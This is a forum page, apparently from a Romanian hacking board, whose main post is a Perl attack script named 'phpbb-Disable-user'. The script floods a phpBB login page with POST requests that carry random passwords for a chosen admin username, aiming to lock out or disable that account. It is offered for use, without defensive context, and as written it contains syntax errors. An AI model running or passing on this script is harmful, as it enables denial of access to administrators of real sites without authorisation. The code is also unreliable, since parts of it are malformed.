€°ero PLaΗ°€
This Is Zero_CooL Place
|
Nou pe simpatie:
Angi
 | Femeie
25 ani
Bucuresti
cauta Barbat
26 - 52 ani |
|
|
€°ero PLaΗ°€ReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
|
|
###################################################################################
#!/usr/bin/perl
###################################################################################
$host=$ARGV[0];
$dirc=$ARGV[1];
$port=$ARGV[2];
$user=$ARGV[3];
$dirsend = "$dirc" . "login.php";
print "
-------------------------------------
phpbb-Disable-user.php <Host> </Dir/> <Port> <Admin Username >
--------------------------------------
";
$i=1;
if ($host ne "" {
while($OK ne 1){
use IO::Socket;
my($socket) ="";
if ($socket = IO::Socket::INET->new(PeerAddr => $host ,
PeerPort => $port ,
Proto => "TCP")
{
$password=rand();
$data = "username="."$user"."&password="."$password"."&redirect=&login=Connexion
";
$length = length $data;
print $socket "POST $dirsend HTTP/1.1
Host: $host
Content-Type: application/x-www-form-urlencoded
Content-Length: $length
$data";
read $socket, $answer, 15;
close($socket);
}
if($answer =~ /HTTP\/(.*?) 302/){$OK = 1;}
$i=$i+"1";
print "$answer
";
print "Send Packet $i ....
" ;
}}
_______________________________________
*******************************
]-[ack ']['he Pla]\[eT
*******************************
|
|
| |
|
